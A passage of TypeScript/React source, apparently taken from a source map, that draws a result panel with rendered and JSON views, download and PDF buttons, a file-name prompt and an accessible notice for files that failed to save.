missed.names : [];\n // The same resolver the rendered view paints images through, so a download\n // saves exactly what the reader is looking at — a host that proxies its\n // storage does not need to configure the two separately.\n const resolveUrl = useResolveUrl();\n const save = useSaveFiles();\n const resultDownloadShown = useResultDownloadShown();\n const pageDownloadShown = useFileDownloadShown('markup');\n const pdfShown = usePdfSaveShown();\n const { ask, dialog } = useFileNamePrompt();\n // A result that is one page: its node is `native.Html` or refines it, which\n // the descriptor states, and the value holds the markup that kind documents.\n const page = isNativeHtmlNode(field) ? readHtmlContent(value) : undefined;\n // For a page, the header's download and the page's own saved the same file,\n // so the one control drawn is there when either setting asks for it.\n const downloadShown = resultDownloadShown || (page !== undefined && pageDownloadShown);\n\n const handleDownload = useCallback(async () => {\n // The descriptor's own field, not the renamed one: each planned file's\n // path is its place in the result, which is the descriptor's, and the\n // file buttons below plan from the same place.\n const options = resolveUrl ? { resolveUrl } : {};\n let plan: SavePlan = planStuffSave(field, value, { baseName, ...options });\n // The reader's name, when the host asks for one, flows into the plan. A\n // plan of one file asks for that file's name and keeps its extension; a\n // plan of several asks for the name they share, the base name (prefilled\n // as the JSON copy, which the plan puts last, is named), and is planned\n // again under it, so the JSON copy and every file the payload did not name\n // itself carry the reader's name and the plan still allots distinct names.\n const only = plan.files.length === 1 ? plan.files[0] : undefined;\n const json = plan.files.length > 1 ? plan.files[plan.files.length - 1] : undefined;\n if (only) {\n const { stem, extension } = splitFileName(only.name);\n const name = await ask(stem, extension);\n if (name === null) return;\n if (name !== only.name) plan = { ...plan, files: [{ ...only, name }] };\n } else if (json) {\n const { stem } = splitFileName(json.name);\n const name = await ask(stem, '');\n if (name === null) return;\n if (name !== stem) plan = planStuffSave(field, value, { baseName: name, ...options });\n }\n const attempt: DownloadAttempt = {\n field,\n baseName,\n value,\n key: resultKey(field, baseName, value),\n };\n latest.current = attempt;\n setSaving(attempt);\n setMissed(null);\n try {\n const { failed } = await save(plan.files);\n if (latest.current !== attempt) return;\n setMissed({\n attempt,\n names: [\n ...plan.unavailable.map((file) => file.name),\n ...failed.map((failure) => failure.file.name),\n ],\n });\n } finally {\n setSaving((current) => (current === attempt ? null : current));\n }\n }, [field, value, baseName, resolveUrl, save, ask]);\n const labels: Record<StuffViewerView, string> = { rendered: s.viewRendered, json: s.viewJson };\n // The PDF is named as the page's HTML download is, with its own extension, so\n // the two files a reader saves of one page share a name.\n const pdfName = page && pdfShown ? pdfFileName(field, value, baseName) : undefined;\n const pageView = page !== undefined && view !== 'json';\n // The panel's title. In `studio` it is always drawn: the stuff's name, or the\n // descriptor's own. In `app` it is drawn only when the host named the stuff,\n // because the descriptor's root is called `output` for every pipe there is,\n // and \"Output\" over a result is a word that tells its reader nothing; a host\n // that heads the result itself passes no name and gets no second heading. A\n // one-page result in an app carries its own title on the page, so the panel\n // adds none, and neither does a text that opens with a heading of its own\n // (`resultHeadsItself`): the host's name over it read as the same title\n // twice, so the name gives way to the heading, and is said rather than\n // drawn, as a field's label gives way to one inside a result.\n const headsItself = !page && resultHeadsItself(field, value, presentation);\n const hostNamed = name !== undefined && name !== '';\n const titled = presentation !== 'app' || (hostNamed && !page && !headsItself);\n const switchShown = offered.length > 1;\n // A Download with nothing beside it - an app's result with no title, no view\n // switch and no page - is drawn at the result's foot, where a reader who has\n // read it takes it away. At the top it stood alone at the panel's right edge\n // over an empty band, a corner the eye reads as chrome rather than as the\n // result's action. A host-named text whose heading took the title's place is\n // one of these: the heading opens the result, and the Download follows it.\n const downloadAtFoot = downloadShown && !titled && !switchShown && !page;\n // The row is left out when nothing is in it, so an app's result starts at\n // its first line rather than under an empty band.\n const headerShown =\n titled || (downloadShown && !downloadAtFoot) || switchShown || (page && pdfName !== undefined);\n const downloadButton = downloadShown && (\n <button\n type=\"button\"\n onClick={() => void handleDownload()}\n disabled={savingShown}\n aria-label={page ? s.downloadHtml : s.download}\n className={cn(\n // 44 pixels tall below `sm`, as every control a finger hits is.\n 'inline-flex items-center gap-1.5 rounded-md border border-border px-2 py-1 text-[12px] text-muted-foreground hover:text-foreground disabled:opacity-60 max-sm:min-h-11 max-sm:px-3',\n focusOutlineClass,\n )}\n >\n {savingShown ? (\n <Loader2 className=\"h-3.5 w-3.5 animate-spin\" />\n ) : (\n <Download className=\"h-3.5 w-3.5\" />\n )}\n {savingShown ? s.downloading : page ? s.downloadHtml : s.download}\n </button>\n );\n // Said, not swallowed: a reader expecting three attachments and getting two\n // could not tell before. The JSON copy still carries each missing file's\n // reference, when it was planned. The live region is there from the start\n // and only its text changes, because a region inserted with its message\n // already in it is not reliably announced. It sits under the Download,\n // wherever that is drawn.\n const missedStatus = downloadShown && (\n <p\n role=\"status\"\n className={cn('shrink-0 text-[12px] text-destructive', missedShown.length === 0 && 'sr-only')}\n >\n {missedShown.length > 0 ? s.downloadIncomplete(missedShown) : ''}\n </p>\n );\n\n return (\n <div\n className={cn(\n // A page shown as the view is a flex column that may shrink: in a host\n // whose scrolling panel is a flex column (`flex min-h-0 flex-col\n // overflow-y-auto`), the page's frame takes the panel's remaining\n // height and scrolls inside itself, so there is one scroll container\n // under the pointer and the first wheel scrolls the page. Anywhere\n // else the column is as tall as its content and nothing changes.\n pageView ? 'flex min-h-0 flex-col gap-2' : 'space-y-2',\n className,\n )}\n >\n {/* The header is drawn once, here, and `ResultField` is told to skip its\n own - two headers that agree today drift tomorrow. It stays put across\n both views, so switching does not move the thing you are reading. */}\n {dialog}\n {/* The host's name for a result that names itself: said first, where\n the title would have stood, and in both views, so the panel's\n opening does not change with the view. */}\n {hostNamed && headsItself && <ResultHeader field={named} unseen />}\n {headerShown && (\n <div className=\"flex shrink-0 flex-wrap items-center justify-between gap-x-4 gap-y-1\">\n {titled ? (\n <div className=\"min-w-0 space-y-1\">\n <ResultHeader field={named} />\n </div>\n ) : (\n <div />\n )}\n <div className=\"flex shrink-0 items-center gap-2\">\n {page && pdfName !== undefined && (\n <PdfDownloadButton\n content={page}\n path={field.name}\n primary\n {...(pdfName ? { fileName: pdfName } : {})}\n />\n )}\n {!downloadAtFoot && downloadButton}\n {switchShown && (\n <div\n role=\"group\"\n aria-label={s.resultViewGroup}\n className=\"flex rounded-md border border-border p-0.5\"\n >\n {offered.map((id) => (\n <button\n key={id}\n type=\"button\"\n onClick={() => setView(id)}\n aria-pressed={view === id}\n className={cn(\n // 44 by 44 below `sm`, as every control a finger hits is.\n 'rounded px-2 py-0.5 text-[12px] max-sm:min-h-11 max-sm:min-w-11 max-sm:px-3',\n focusOutlineClass,\n view === id\n ? 'bg-card font-medium text-foreground'\n : 'text-muted-foreground hover:text-foreground',\n )}\n >\n {labels[id]}\n </button>\n ))}\n </div>\n )}\n </div>\n </div>\n )}\n\n {!downloadAtFoot && missedStatus}\n\n {view === 'json' ? (\n <JsonView value={value} />\n ) : page ? (\n // The page is the panel's main view: drawn here rather than through\n // `ResultField`, whose page arm would add a second control row saving\n // the same file, and with no box around it.\n <HtmlPreview content={page} downloadPdf={false} bare fill />\n ) : (\n <ResultRoot baseName={baseName} path={[field.name]}>\n {/* The whole result, where a verdict is drawn large. Its host heads\n it when the panel draws no title of its own, and then in `app` it\n draws no count under the host's heading; under the panel's own\n title, which says no count, it keeps its count. A text that names\n itself draws no panel title either, so it counts as host-headed\n here, though its own heading is what opens it; a text has no\n count to draw in any case. */}\n <PanelResult hostHeaded={!titled}>\n <ResultField field={field} value={value} hideLabel />\n </PanelResult>\n </ResultRoot>\n )}\n {downloadAtFoot && (\n <div className=\"space-y-1 pt-2\">\n {downloadButton}\n {missedStatus}\n </div>\n )}\n </div>\n );\n}\n\n/**\n * A one-page result's PDF name, without the extension: the page's own HTML\n * download name, without its own. `''` when the page plans no file, which\n * leaves the button to its default.\n */\nfunction pdfFileName(field: RunField, value: unknown, baseName: string): string {\n const file = readStuffFile('markup', value, field.name);\n const name = file ? planFileSave(file, { baseName })?.name : undefined;\n return name === undefined ? '' : name.replace(/\\.[^.]+$/, '');\n}\n"]}